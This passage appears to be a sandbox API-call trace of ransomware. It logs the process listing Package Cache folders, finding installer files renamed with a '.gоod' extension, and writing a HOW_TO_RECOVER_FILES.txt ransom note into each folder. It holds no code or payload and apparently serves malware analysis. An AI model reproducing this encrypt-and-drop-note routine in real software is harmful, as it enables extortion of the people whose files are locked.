ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x30756b70, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x30756b70, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0145.024] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0145.024] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0145.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0145.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0145.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0145.101] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x73 [0145.101] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x30756b70, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x30756b70, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0145.102] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x30756b70, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x30756b70, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.102] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0x2fcc26c5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x165267, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0145.102] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30756b70, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x30756b70, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x30756b70, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0145.102] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d4c00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xb9d4c00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x30756b70, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x24010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0145.102] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0145.102] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0145.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0145.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0145.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0145.103] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x73 [0145.103] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x30756b70, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x30756b70, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0145.104] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x30756b70, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x30756b70, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.104] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0x2fcc26c5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x165267, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0145.104] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30756b70, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x30756b70, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x30756b70, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0145.104] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d4c00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xb9d4c00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x30756b70, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x24010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0145.104] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d4c00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xb9d4c00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x30756b70, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x24010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 0 [0145.105] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0145.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0145.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0145.105] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8c [0145.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0145.105] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0145.106] GetFileType (hFile=0x630) returned 0x1 [0145.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0145.106] GetFileType (hFile=0x630) returned 0x1 [0145.107] WriteFile (in: hFile=0x630, lpBuffer=0x35ceab8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x35ceab8*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0145.108] CloseHandle (hObject=0x630) returned 1 [0145.108] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x75 [0145.109] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecee0) returned 1 [0145.109] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0145.109] GetFileType (hFile=0x630) returned 0x1 [0145.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece50) returned 1 [0145.110] GetFileType (hFile=0x630) returned 0x1 [0145.110] WriteFile (in: hFile=0x630, lpBuffer=0x35d23e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ecfa8, lpOverlapped=0x0 | out: lpBuffer=0x35d23e0*, lpNumberOfBytesWritten=0x202ecfa8*=0x5d0, lpOverlapped=0x0) returned 1 [0145.111] CloseHandle (hObject=0x630) returned 1 [0145.111] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6c [0145.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0145.111] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0145.112] GetFileType (hFile=0x630) returned 0x1 [0145.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0145.112] GetFileType (hFile=0x630) returned 0x1 [0145.113] WriteFile (in: hFile=0x630, lpBuffer=0x35d6528*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x35d6528*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0145.114] CloseHandle (hObject=0x630) returned 1 [0145.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0145.114] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpFilePart=0x0) returned 0x52 [0145.114] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x310b1094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0145.115] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x310b1094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.115] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310b1094, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x310b1094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x310b1094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0145.115] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0145.115] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0145.115] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0145.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0145.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0145.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0145.116] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpFilePart=0x0) returned 0x52 [0145.116] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x310b1094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x310b1094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0145.116] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x310b1094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x310b1094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.116] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310b1094, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x310b1094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x310b1094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0145.116] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0145.116] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0145.116] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0145.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0145.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0145.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0145.117] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages", lpFilePart=0x0) returned 0x5b [0145.117] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x310b1094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0145.117] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x310b1094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.117] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310b1094, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x310b1094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x310b1094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0145.117] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3108af39, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3108af39, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0145.118] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3108af39, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3108af39, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0145.118] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0145.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0145.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0145.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0145.118] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages", lpFilePart=0x0) returned 0x5b [0145.118] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x310b1094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x310b1094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0145.118] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, 